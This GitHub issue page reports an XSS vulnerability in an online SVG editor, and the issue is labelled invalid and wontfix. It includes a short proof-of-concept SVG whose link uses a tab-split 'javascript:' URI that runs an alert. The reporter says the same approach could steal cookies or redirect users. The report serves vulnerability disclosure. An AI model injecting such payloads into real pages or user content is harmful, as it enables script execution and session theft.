-
-
Notifications
You must be signed in to change notification settings - Fork 72
XSS code injection in online editor #29
Copy link
Copy link
Open
Labels
invalidThis doesn't seem rightThis doesn't seem rightwontfixThis will not be worked onThis will not be worked on
Description
XML/SVG web editor is vulnerable to XSS injection code.
For example, editing sample SVG image found at https://editsvgcode.com/ with this code;
<!-- sample rectangle -->
<svg width="200" height="200" xmlns="http://www.w3.org/2000/svg">
<a href="javascript	:alert(1)">
<rect width="100" height="100" x="50" y="50" fill="red" />
</a>
</svg>
In this example we just got a javascript alert, but could be cookie info, redirections to malicious/phishing sites...
Reactions are currently unavailable
Metadata
Metadata
Assignees
Labels
invalidThis doesn't seem rightThis doesn't seem rightwontfixThis will not be worked onThis will not be worked on